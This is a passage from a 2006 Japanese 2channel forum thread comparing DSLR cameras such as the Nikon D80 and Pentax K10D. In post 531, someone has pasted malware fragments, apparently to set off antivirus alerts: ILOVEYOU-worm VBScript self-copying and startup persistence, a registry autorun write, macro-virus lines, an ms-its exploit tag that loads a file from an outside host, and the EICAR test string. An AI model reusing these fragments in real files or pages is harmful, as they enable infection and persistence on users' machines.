530 :名無CCDさん@画素いっぱい:2006/09/25(月) 20:07:01 ID:KqHUFoM00
たまにはα100も思い出してあげてください

531 :名無CCDさん@画素いっぱい:2006/09/25(月) 20:28:42 ID:waPKoLjj0
body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

532 :名無CCDさん@画素いっぱい:2006/09/25(月) 20:30:42 ID:0OhYBO9+0
>>530
相手が違う。1000万画素機で
レンズ手ブレ補正の高い方D80、安い方KissDX。
本体内手ブレ補正の高い方K10D、安い方α100。

533 :名無CCDさん@画素いっぱい:2006/09/25(月) 20:30:58 ID:W+L03W+g0
>>531
なんだ、もう切れちゃたのか?

534 :名無CCDさん@画素いっぱい:2006/09/25(月) 20:34:30 ID:E5O4Ei1M0
キヤノン工作員も大変だねw

535 :名無CCDさん@画素いっぱい:2006/09/25(月) 20:57:29 ID:WSs/i9Dx0
誤反応スクリプト無効化ソフト
http://www.geocities.jp/cen_hp/program3.html

536 :名無CCDさん@画素いっぱい:2006/09/25(月) 21:04:28 ID:uzqkVgt10
>>535
専ブラ&透明あぼーんすればOK

537 :名無CCDさん@画素いっぱい:2006/09/25(月) 22:38:49 ID:+A7/8OiP0
K10Dでとどめ  っと

538 :名無CCDさん@画素いっぱい:2006/09/25(月) 22:43:57 ID:KxUiJ0Hh0
効いてない っと

539 :名無CCDさん@画素いっぱい:2006/09/25(月) 22:48:26 ID:lKSJWOyV0
K10DとD80のメニュー表示って似通っているからねぇ。

両機のRGBヒストグラムとか、
D80のフィルターメニューと、K10Dのホワイトバランス微調の類似とか。
似ているのだけど、微妙に違えてくるのが肝。

両機の画像プロセッサが同じでも驚かん。

540 :名無CCDさん@画素いっぱい:2006/09/25(月) 22:50:42 ID:MAh1pI1V0
良スレ認定・・・・・・
      ハ_ハ ゜゚・*:.。..。.キタワァ*:.。..。..:*・゜゚ハ_ハ
    ('(゚∀゚∩∧,,∧ ∧..∧ ∧..∧∩゚∀゚)')
    O,_  〈(´∀`)(´∀`)(´∀`) 〉  ,_O
      `ヽ_)゚○-J゚ ゚○-J゚ ゚○-J゚ (_/´


541 :名無CCDさん@画素いっぱい:2006/09/26(火) 00:00:38 ID:6vlk+LoE0
うわ、D80のCMってキムタクのだけじゃないんだ。
CMの代わりにゴミ取りつければいいのに。あほくせえ。

542 :名無CCDさん@画素いっぱい:2006/09/26(火) 00:07:23 ID:uwLrDxh40
狼男とD80とどういう関係が有るんだ?

543 :430:2006/09/26(火) 00:43:32 ID:IXeHPUPV0
>>433
>>437
話のいきがかり上、D200+18-200VRで撮影した
Reimsの大聖堂の中にあるシャガールのステンドグラス
の写真をアップしました。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060926003853.jpg
3脚禁止の場所で手持ちでこれだけ撮れるのは有難いです。
貯まっている忙しい上、ディスクの調子が悪いのでとりあえずこれで。



544 :430:2006/09/26(火) 00:44:40 ID:IXeHPUPV0
×貯まっている忙しい上、ディスクの調子が悪いのでとりあえずこれで。
○貯まっている仕事で忙しい上、ディスクの調子が悪いのでとりあえずこれで。


545 :名無CCDさん@画素いっぱい:2006/09/26(火) 00:50:25 ID:LbA701QI0
>>543
おお、シャガールだ。

これが、ケルンの大聖堂のステンドグラス。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060926000656.jpg

546 :名無CCDさん@画素いっぱい:2006/09/26(火) 02:44:40 ID:BSIrfH880
    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

こんどのCMキモイヨー


547 :ホワイト ◆KosbZRC5sc :2006/09/26(火) 02:47:35 ID:vJ1LIvZ20
キムタクがピピっての以外もあるの?

548 :名無CCDさん@画素いっぱい :2006/09/26(火) 05:01:35 ID:yXdkXAOy0
キムタクがピピン@使ってるって?


そりゃ貴重だ

549 :名無CCDさん@画素いっぱい:2006/09/26(火) 05:32:23 ID:2tf3JM730

> ●ソニーのα100は、もう少し線の細かい、繊細でクリアな感じの描写だった。

(ご参考)飯塚先生のα100レビュー
【新製品レビュー】ソニー「α100」――初心者向け「使える機能」盛りだくさん
ttp://it.nikkei.co.jp/pc/column/dcreview.aspx?n=MMITdp000026072006&cp=1

●ボディは男女両方にジャストサイズ。
●実に高解像度。ハッキリ・シャープかつ質感もよく描写。さすが1200万画素
●色合い、背景の自然な明るさも感嘆モノ
●レンズキットのレンズも廉価版とは思えない写り。
●シャッターを切るだけでいきなりここまでの絵が撮れる。デジタルカメラの進化を実感。
●300mmで1/125秒のシャッター速度で手持ちで撮影できるのは驚きに値する
●空の青さや緑が鮮やかで、クリアな抜けのいい絵

まとめ
●α100は有益な機能を多く盛り込み、簡単に良い絵が撮れる、非常に良いカメラだと評価できる。

ペンタのK10Dも、売れまくり!となってきた段階でこの先生がレビューするとヨソクw

550 :名無CCDさん@画素いっぱい:2006/09/26(火) 06:16:43 ID:9+avG7LV0
光学ファインダー像の立体感というのがわからない。空中像式のことかな・・・

551 :名無CCDさん@画素いっぱい:2006/09/26(火) 07:24:18 ID:udfKDBoa0
D80とK10Dで悩む。
両方ともファインダーが良さそ。
でも両方は買えない。
キムタクはどうでもいいんだが。

552 :名無CCDさん@画素いっぱい:2006/09/26(火) 07:46:37 ID:uRr4DExg0
>>551
まだサンプルとか出てないK10Dと悩むとはな。


553 :名無CCDさん@画素いっぱい:2006/09/26(火) 07:58:49 ID:V4iEQjaf0
>>551

今から買うならK10Dじゃね?
俺はD80持ってるけど、K10Dの画質がよければ
カメラに人生捧げる覚悟でK10D買おうかと思ってるww
パンケーキレンズ使いてぇ!


554 :名無CCDさん@画素いっぱい:2006/09/26(火) 08:04:12 ID:+K5uVl3b0
>>558
初めてにしては思いきりのいいチョイスしたね。
その予算があれば便利ズームいっちゃいがちなのだが。
 

555 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:23:59 ID:L9qudfPl0
さあ558が安直な買い物できなくなりましたw

556 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:26:09 ID:V4iEQjaf0

558のレスが楽しみですなw


557 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:47:48 ID:VUPXwemK0
ksk(ぇ

558 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:49:34 ID:gqBahORp0
D80 1ダース買います (^_^;

559 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:51:44 ID:V4iEQjaf0

ファインダー内の格子線表示できる機種って意外と少ないのね。
すごく便利なのに・・


560 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:52:00 ID:tuA4+vg0O
>>558
最悪

561 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:52:11 ID:v5Ss0B8J0
>>558
君には失望した。

562 :名無CCDさん@画素いっぱい:2006/09/26(火) 09:53:16 ID:hWVwzFxM0
>>558
工エエエ(´д`)エエエ工工 ツマンネ!

563 :名無CCDさん@画素いっぱい:2006/09/26(火) 10:33:41 ID:F6LSK0Gs0
D50使っていましたが、あるイベントでD80の貸し出しがあって
使ってみましたがファインダーも大きくて見やすいし、グリップ感もすごくいいし
モニターも見やすくて、D50に不満があったわけではないですが
D80が欲しくなってしまいました。
年末に買ったばっかりなので、すぐには買えませんけどね・・・
本当はD50の後継機も気になっていたのですが
D80は大きさだけ見ればD50とほぼ同じだしSDカードだし、次はD80しかないって今思ってます。
D50下取りに出しても幾らにもならないですよね


564 :名無CCDさん@画素いっぱい:2006/09/26(火) 10:39:35 ID:V4iEQjaf0
>>563

D80の液晶モニターはかなり評価が高いよね。 D200と一緒?
晴天の屋外でもしっかり見えるのはすごい。


565 :名無CCDさん@画素いっぱい:2006/09/26(火) 10:40:50 ID:tuA4+vg0O
>>563
下取り買取り価格は店で聞けよ!ワシら知らんわ!
しかしD80めちゃエエゾw

566 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:11:26 ID:0hxztt460
D80購入予定者ですが、ちょっと質問が

ソフトウェア周りで今一よく分かんないんですが、
D80のRAW弄りしたけりゃNXかsilky買え、ってことでいいんですか?
exif弄ればNC4でもイケる、とか何とか見た気もしますが、そもそもNC4も持ってないですし

フォトショでもいけるんなら買わなくていいかなー、と思ってたんだけど、
アドビ見てみるとCS2のRAW対応表ですらD80の名前が無かったもんでして…
そもそも持ってるのは5.0だし、重い奴にアップグレードする気もないですし

そんな訳で、今のところD80のRAWを弄りたければNXかsilkyの二択と考えていいんでしょうか?

567 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:15:24 ID:tuA4+vg0O
>>566
シルキーが間違いなくイイ!

568 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:23:29 ID:FmOLhIHz0
つーか、JPEGが酷すぎてRAWしか使い物にならない
ヌコンの悪癖は改善されてないな。
ISO1600なんかコンデジのほうが綺麗という始末
キヤノンとの差は絶望的に大きい

569 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:30:45 ID:q7lnyAnQ0
>>563
マップカメラのオンライン査定
D50(シルバー)ダブルズームキット ¥50,000
D50 ダブルズームキット ¥50,000
D50(シルバー)レンズキット ¥33,000
D50 レンズキット ¥33,000
D50(シルバー) ¥26,000
D50 ¥26,000



570 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:35:14 ID:u7MS/p710
D50持っててD80を買い足したクチだが、D802台体制にしたくなってきた
やっぱりファインダーの見え方が違いすぎるし、微妙に異なる操作性も
何だかアレだ。高感度特性も思ったほど悪くないし・・・

571 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:46:41 ID:tuA4+vg0O
>>568
おまい電柱・ガンダム・猫・室内の腐れ家具類しか撮らないのにw

572 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:51:02 ID:p1bTZYxGO
おまえらお金を大切にしろっ。て、オレも一昨日またレンズを買ってしまいましたよ。
ブランドバック集めるOLみたいになってる orz

573 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:53:39 ID:0hxztt460
>567
NXはクソ重いって良く聞きますんで、やっぱしsilkyですかね
ライセンス料も安いですし

今のところ現像する気はないですけど、いざって時には現像もできますし
D80買った暁にはsilkyも一緒に揃えたいと思います
レスありでした

574 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:55:26 ID:p1bTZYxGO
>>571
それ自虐ネタだろ

575 :名無CCDさん@画素いっぱい:2006/09/26(火) 12:59:06 ID:tuA4+vg0O
>>572
デジイチ所有者の宿命だなw
VR70-200を最後のレンズとして買ったが…17-55F2.8も欲しい(´д`;)ハァハァ

576 :名無CCDさん@画素いっぱい:2006/09/26(火) 13:02:07 ID:tuA4+vg0O
>>573
いつか使うだろう!でシルキーライセン買っておいてもエエと思うよ。
NXと比べイイのは間違いないよw

577 :名無CCDさん@画素いっぱい:2006/09/26(火) 13:02:58 ID:H+kngz930
話を蒸し返して悪いが、>>558は結構がんばったとおもわね?
なにしろ思い切りがいい。

578 :名無CCDさん@画素いっぱい:2006/09/26(火) 13:22:30 ID:F6LSK0Gs0
>>569
ありがとうございます。
そんなものなんですね
D80買える事には殆ど価値ないでしょうね

本当はシグマの17-70買おうと思ってためてたけど
先にD80欲しいくらいになっていますw

579 :名無CCDさん@画素いっぱい:2006/09/26(火) 13:46:51 ID:HI/PsvDW0
>>578
落ち着け落ち着け。
D80はいいカメラだが既にD50を持ってるなら
先に欲しいレンズを揃えた方が撮りたい写真に撮れる写真が近づくよ。
高速連射のできる上位機とか
ダイナミックレンジの広いフジ機とか
コダックのフルサイズ機とか
そいうボディを買うならそれはそれで撮れる写真が広がるけど。

580 :437:2006/09/26(火) 14:02:24 ID:n6VwdSS50
>>430
じゃあおれもサン・ドニ教会。D70+sigma55-200だけどね。ショボ…。
http://2ch-dc-ita.gotdns.com/〜dc-ita/cgi-bin/imgboard/img-box/img20060926065742.jpg

581 :437:2006/09/26(火) 14:04:15 ID:n6VwdSS50
すまん間違えた
http://2ch-dc-ita.gotdns.com/〜dc-ita/cgi-bin/imgboard/img-box/img20060926065742.jpg


582 :名無CCDさん@画素いっぱい:2006/09/26(火) 14:07:21 ID:Izl9JIOL0
スレ違いの画像貼るからそうなる。

583 :名無CCDさん@画素いっぱい:2006/09/26(火) 15:32:39 ID:d3zRcWFv0
そんな冷たい事言うなよ。
同じ写真ファンなのだから。

http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20060926065742.jpg

貼り直しといてやる。

584 :名無CCDさん@画素いっぱい:2006/09/26(火) 18:28:34 ID:g/o9mN3C0
>>581はどこが訂正されてるのか悩んだが、>>580と同じジャンw

585 :名無CCDさん@画素いっぱい:2006/09/26(火) 18:38:12 ID:UKMpJ1aO0
シグマ、手ブレ補正搭載高倍率ズームレンズ「18-200mm F3.5-6.3 DC OS」
http://dc.watch.impress.co.jp/cda/lens/2006/09/26/4675.html

586 :名無CCDさん@画素いっぱい:2006/09/26(火) 18:45:13 ID:QjhvV4Tk0
雑誌を立ち読みしてきたが、「世界をリードするニッコール、3600万本を販売」みたいな広告が出てた。
↓への対抗だな。
http://dc.watch.impress.co.jp/cda/dslr/2006/01/19/3044.html

ニコンも少しは宣伝が上手くなったぞw

>>585
ニコンユーザーには関係ない。
キヤノンの純正レンズの売り上げが減るだけw

587 :名無CCDさん@画素いっぱい:2006/09/26(火) 19:17:50 ID:aJVgXsvc0
>>585
まじか?値段しだいじゃうれるんじゃないか?

588 :名無CCDさん@画素いっぱい:2006/09/26(火) 19:20:47 ID:x/KCni3b0
>>585
>>586

シグマの18-200は望遠端が純正と比べて半絞りほど暗いね。
超音波モーター無しだし、ニコンユーザーとしては五万円台ぐらいじゃないと手を出しにくいかも。

キヤノンユーザーは素直に喜ぶかも。

589 :名無CCDさん@画素いっぱい:2006/09/26(火) 20:08:43 ID:Y/b1ARmH0
>567
シルキーきびきびしていて良いんだが、高感度撮影したRAWを現像すると、なんじゃこれ!ってならないか


590 :名無CCDさん@画素いっぱい:2006/09/26(火) 20:17:28 ID:p1bTZYxGO
キヤノン純正の場合、18-55/F3.5-5.6かIS17-85/F4-5.6のほぼ二択だからな。IS17-55/F2.8は普段使いには非現実的だし。
だから、ユーザーの多くがレンズメーカー品に流れる。レンズメーカーにとってキヤノンは神。
つーか本当にキヤノンはAPS-Cをやる気が無いのか?シグマのOS18-200は明らかにニコンVR18-200を見てからの開発だろ。
普通、50/F1.2なんか作る前にIS18-200を作るはずだが。
まあ、シグマの場合、既に18-200があるし超音波モーターじゃないから作り易いんだろうけど。

591 :名無CCDさん@画素いっぱい:2006/09/26(火) 20:51:01 ID:9d6e/8m10
長秒時ノイズ低減を普段からONにしてる奴いないか?
これONにしてると昼とか明るい状況でも連写が遅くなるんだな
なんか連写が遅い、おかしいと思ってたんだけど原因が分った

592 :名無CCDさん@画素いっぱい:2006/09/26(火) 21:02:55 ID:U7hI6xZX0
>>583

いい写真を見せてもらった。
D80欲しくなった。

593 :名無CCDさん@画素いっぱい:2006/09/26(火) 21:22:55 ID:QVnD93m80
>>591
正直、あんま効果があるかわからんから、全然使っていない。

594 :名無CCDさん@画素いっぱい:2006/09/26(火) 21:23:35 ID:y+0QVdJO0
>>592
周辺の色ズレに注意!

595 :名無CCDさん@画素いっぱい:2006/09/26(火) 21:25:42 ID:iOOInEFj0
>>591
それD70でもD50でも毎回話題になってるよ

596 :名無CCDさん@画素いっぱい:2006/09/26(火) 21:26:55 ID:9d6e/8m10
>>593
俺も8秒以上のシャッターなんてやらないけど、一応オンにしといたのが間違いだった

597 :名無CCDさん@画素いっぱい:2006/09/26(火) 22:28:24 ID:zcfVulwo0
縦グリ届いた。


微妙。

598 :名無CCDさん@画素いっぱい:2006/09/26(火) 22:29:40 ID:IKmdQhNK0
>>597
rpyr

599 :名無CCDさん@画素いっぱい:2006/09/26(火) 22:57:16 ID:UyTZ/BoH0
>>597
そう?
値段の割にはいいと思うけどなぁ。
それに、エネループ入れたときの電池持ちの良さは感動的。
純正バッテリーなんて、クリーニングミラーアップの時しか使わなくなった。

600 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:12:35 ID:h5OY2HgJ0
またまたぁ〜〜〜〜〜〜。

601 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:22:43 ID:WVkNLMoA0
縦グリに質感求めて散々質問したあげくがっかりしたとかいってけなしまくってたやついたなー


602 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:28:10 ID:5JEUwSoU0
教えてください、住人さん。
NikonD80とCanon30Dを迷っています。
D80が30Dより勝っているところを教えてください。
マジレスおねがいします。

603 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:34:16 ID:7xNIJy9v0
AF、ファインダー、総合的画質、信頼性、レンズ群、コンパクト


この程度しかないので30Dでも5Dでも買えばぁ?

604 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:34:19 ID:TYwCB2Nd0
>>602
AF性能

605 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:43:23 ID:I49G4Jud0
>>602
正直な話Nikonのサポートの方が信頼出来る。
以前20DとKDN使ってた時があってセンサー清掃やピント調整に出した事あるが
SCの人間の対応も調整後も満足出来ずNikonに移行しました。


606 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:45:03 ID:TYwCB2Nd0
>>605
おまえは俺か?w
同じような経験をして、Nikonへ移行した。

607 :名無CCDさん@画素いっぱい:2006/09/26(火) 23:57:30 ID:njWPzInw0
>>602
とりあえず私は今日D80購入してきた。
背中をおしてあげる!
ε=ε=(ノ≧∇≦)ノ(;^д^)ウホ!

608 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:06:59 ID:v+moOPZM0
>>602
標準ズームがいい

609 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:09:07 ID:6qSAfNlW0
>>602
D80を30Dと比べた場合
コンパクトで軽い、実用的なレンズが充実、少しワイドに撮れる、連写は30Dの勝ち。
主観の問題だが、絵は明るく濃い目。当然設定は変更可能。
実質的に、画素数や感度や撮影枚数は気にならない。

610 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:17:49 ID:5ElJFUW40
>>601
けなす気は無いけど、質感やデザインに関しては価格に対して期待したほど
ではなかったよ。
通常位置と縦位置にしたときのグリップ感の違いはなんとも。
グリップ幅だけでなくラバーの質感も違う。
縦グリってより「バッテリ箱をくっ付けただけ感」が強いです。
もともとα7な人だったので、コレでこの値段は高いと思ったけど、デザインは
これがニコ標準なんだよね。
気を悪くしたらごめんね。他意は無いから。
バッテリ箱としては想定どおりの仕事をしてくれると思うので、期待してます。

611 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:21:33 ID:Hk8NyUmR0
>>605>>606
エルタワーのタコにムカついてキヤノンに変えた。
受付30人待ちも苦痛だった。
キヤノンならすぐ受付てくれる。
ニコ爺が下らないウンチクを長々垂れるんで順番が回って来ない。

612 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:22:58 ID:5ElJFUW40
ついでに書いておくと、シャッターのクリック感も結構違う気がする。
縦グリの方はバネが強くて半押しのつもりが切れちゃうことあり。
慣れだけど。

613 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:24:47 ID:iLtIiSja0
連射は使わないので、問題なし。
みなさん紳士的に答えてくれてありがとうございます。
値段の割りにD80の方がずいぶん良さそうですね。
決めました。D80にします!

614 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:34:54 ID:s474b0/y0
K10Dはシャッター耐久性10万回。
D80は約半分?

1年保証が切れるとローパス清掃は
ニコンは1回1000円
(クリーニングキット買っても同じくらいのコスト)
ペンタックスは300円
(キヤノンは無料)

さらに高層階エレベーターが苦手な客は苦痛。

トータルコストでもK10Dでしょ。

ペンタフォーラムの人もニコンの人より親切な人が多い。

615 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:36:27 ID:6qSAfNlW0
あくまで個人的な意見だけど、バッテリーは標準で不満が無いし
せっかく本体がコンパクトなんだから、そのままで使いたい。
ただし、縦位置で撮ると腋があいてマズイので
変倍アングルファインダーで胸の前で倒す。ファインダーも拡大出来てウマー。

616 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:49:25 ID:CY1AOWQj0
ニコ爺ってデカいカメラじゃないとバカにするじゃん。
でも一般人は小型でちょっと高級感のあるカメラが欲しいわけよ。
バカ爺みたいにデカいカメラ提げてプロのマネしたいわけじゃないんだ。
D80もあとマグネシウムボディとシャッター10万回、シーリングがあれば
良かったのにね。
D80を2種類売れば良かったのに。
D80HG(ハードゲイ)仮称wとか

617 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:54:32 ID:6qSAfNlW0
>>614
検証なし、少額比較、論点ズレ、不必要な改行
このデータで個人的な感想を言っても、参考にしてもらえないでしょう。
これで人が考えを変えたらザッツ超能力。

618 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:57:18 ID:6qSAfNlW0
>>616
根拠なし、ソースなし、決め付け、だじゃれ
以下略

619 :名無CCDさん@画素いっぱい:2006/09/27(水) 00:59:10 ID:meEJSG2t0
>>616
加齢臭漂うレスだな。
特に最後あたり。


620 :名無CCDさん@画素いっぱい:2006/09/27(水) 01:10:17 ID:4je9f7Hm0
爺といえば一番、観光地でウザかったのはハッセルなオッサンだったなぁw
「風景撮んのになんで35mm(フィルム)とかデジイチなの?」って言われた。

横でアンティークなカメラ(たぶん35mm)で撮ってるカップルを見て
少しの間、癒されたw

621 :名無CCDさん@画素いっぱい:2006/09/27(水) 01:23:06 ID:+P3snfBU0
>>592
それはD70の写真。レンズもシグマ。

622 :名無CCDさん@画素いっぱい:2006/09/27(水) 01:57:39 ID:x7qvuZuL0
    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

こんどのCMキモイヨー


623 :名無CCDさん@画素いっぱい:2006/09/27(水) 02:20:20 ID:sL5xRE6g0
FinePix S5 Pro のボディが、D200 ベースというのは嬉しいニュースl。
フジとニコンが業務提携して、今後は、ニコンはボディとレンズに専念、
フジはCCD開発に専念。これでいいよ。


624 :437:2006/09/27(水) 03:33:03 ID:+P3snfBU0
>>582
すみません…。

>>583
大感謝!ここでそんな暖かい人に会えるなんて、あんたネ申だよ!
ただコピペしただけなんだけど、〜が全角になってしまったのは、safariのせい?
なれないこと、するもんじゃないね。

>>592
ということでD70です。
D80かVR18-200買うか迷ってたのですが
これでVR18-200買う方に決めました。ありがとう!

いい加減スレ違い、しばらくROMってます。

625 :名無CCDさん@画素いっぱい :2006/09/27(水) 04:28:14 ID:9jcDCTKv0
>>611
キヤノンの受付応対(カメラ以外の部門)もかなり糞だとの噂は多方面から聞いた事あるけどな。


応対が一番いいのはマミヤのおっちゃん達だな。
サラリーマンというより、ありゃ職人気質。

626 :名無CCDさん@画素いっぱい:2006/09/27(水) 06:37:01 ID:sL5xRE6g0
>>592
えっ、このサンプルで?

627 :名無CCDさん@画素いっぱい:2006/09/27(水) 07:40:10 ID:nZ3KPwgy0
>>626
まあ画質や性能が気になるのはわかるけど、
実際に色々なところに行って思い出を写真に残してきている
>>437はちゃんと人生楽しんでる感じがするよね。
つーことで>>437は気にすんなヨ。

あと、チルダが全角になっちゃうのはsafariの仕様らしいよ。

628 :名無CCDさん@画素いっぱい:2006/09/27(水) 07:48:13 ID:+mcbJ4c8O
今の時代は小さくて軽くて高性能が良い!
となるとD80しかないな(・ω・)/

629 :名無CCDさん@画素いっぱい:2006/09/27(水) 09:29:26 ID:hX2TzKhL0
(・ω・)/

630 :名無CCDさん@画素いっぱい:2006/09/27(水) 09:43:00 ID:+mcbJ4c8O
俺は硬派だから花や紅葉や富士山は絶対撮らない!
D80に相応しいスポーツ全般や動物園の獣やエレクトリカルパレードやファッションショーやナンパ撮りをする!
おまいら年配の三脚か杖かわからん連中と紅葉なんか撮るなよ!
折角キムタクがデジイチヲタイメージを払拭してくれてんだからな!

631 :名無CCDさん@画素いっぱい:2006/09/27(水) 10:18:12 ID:v+moOPZM0
>>626
D70のサンプルだからな、オマエがいうことも分かるが
もっと親切に説明してやったらどうだ

632 :名無CCDさん@画素いっぱい:2006/09/27(水) 10:21:57 ID:JH0dFO3s0
>>630
硬派が軟派撮り?
どっちだYO!

633 :名無CCDさん@画素いっぱい:2006/09/27(水) 10:34:06 ID:+mcbJ4c8O
>>632
地元情報誌のオシャレさんコーナーに掲載する為w
己の欲望を満たす撮影ではないし俺イケメンだから撮影した女子にホレられる!
だが妻子持ちだから美人さんからのアプローチもキッパリ断る!
硬派だろw

634 :名無CCDさん@画素いっぱい:2006/09/27(水) 11:09:45 ID:vh7vihsR0
>>633
よーしわかった!
俺もその撮影に同行させてくれ!
おまえさんがキッパリ断った女子達を
俺が全身全霊をかけて口説こうじゃないか!!!!!!
俺も妻帯者だがそんな事は気にしないぜ!

635 :名無CCDさん@画素いっぱい:2006/09/27(水) 11:10:45 ID:JH0dFO3s0
硬派と言うか妄想中学生乙って感じ。頭悪そう。

636 :名無CCDさん@画素いっぱい:2006/09/27(水) 11:17:22 ID:+mcbJ4c8O
>>634
おまいは俺のツレか?w

>>635
妄想と思われても事実だから仕方がない。
俺は不器用だけど仲間はもっと美味しい仕事してるよw

637 :名無CCDさん@画素いっぱい:2006/09/27(水) 12:07:27 ID:GfbT7HqC0
はいはい、分かったから。

638 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:19:55 ID:Km/uvUR90
開発者インタビューだって
http://plusd.itmedia.co.jp/lifestyle/articles/0609/27/news020.html

639 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:25:05 ID:+mcbJ4c8O
>>638
今月号デジカメマガジンと同じ内容か。

640 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:28:30 ID:scw+fzzd0
ローパス清掃1回1000円って・・・
メーカー保証切れた途端、アイフルやアコムに変身かよ。
やっぱいいわ、ニコン!

641 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:33:33 ID:xFavzt4E0
10回清掃すると諭吉1枚か。
キヤノンなら無料でペンタだと3000円。

ぼったくりやん。

642 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:35:09 ID:9cFmpmR30
賢いママはキヤノンで無料清掃w

643 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:38:55 ID:TRb0HWLa0
弱点の無いK10Dまで待つ予定。
カメラ買ったあともいろいろムシリ取られるのは嫌だし。

644 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:44:33 ID:499HZXla0
こんな安いカメラでこの写りなら絶対買いだと感じる。

特に金属の描写はニコンに限るな。
http://www.dpreview.com/gallery/nikond80_samples/

645 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:50:57 ID:w9aYhQ9Q0
>>638
やっぱ、露出明るめなのは意図的なんだな

646 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:51:03 ID:8QsMwC/00
保証切れ後のローパス清掃500円に汁!

647 :名無CCDさん@画素いっぱい:2006/09/27(水) 13:53:31 ID:w9aYhQ9Q0
>>643
システムとして、スポーツ鳥は苦手な部類じゃないの
K10Dでサッカーとか野球とか撮りたいと思えないもの
使ったことないからスペックからの類推でしかないけどさ

648 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:01:36 ID:DNwiZ0WZ0
ローパス清掃をアイフル提携クレジットカード払いw
毎回1000円がいつの間にか…

649 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:06:23 ID:rHR83VGL0
>>647 なんで? 連写性能はK10Dの方が上だよ。

650 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:07:23 ID:499HZXla0
自分でやれば? 
自分のカメラなんだからそれぐらい出来るでしょ・・・
ホントはニコンはそういいたいわけ。

651 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:07:48 ID:ZC+S4+tJ0
>>648
さっきから一人でなにやってるの、アホ?

652 :名無CCDさん@画素いっぱい:2006/09/27(水) 14:09:35 ID:9T2uzm5a0
キムタクは金持ちだから千円清掃は安いと思うはず。
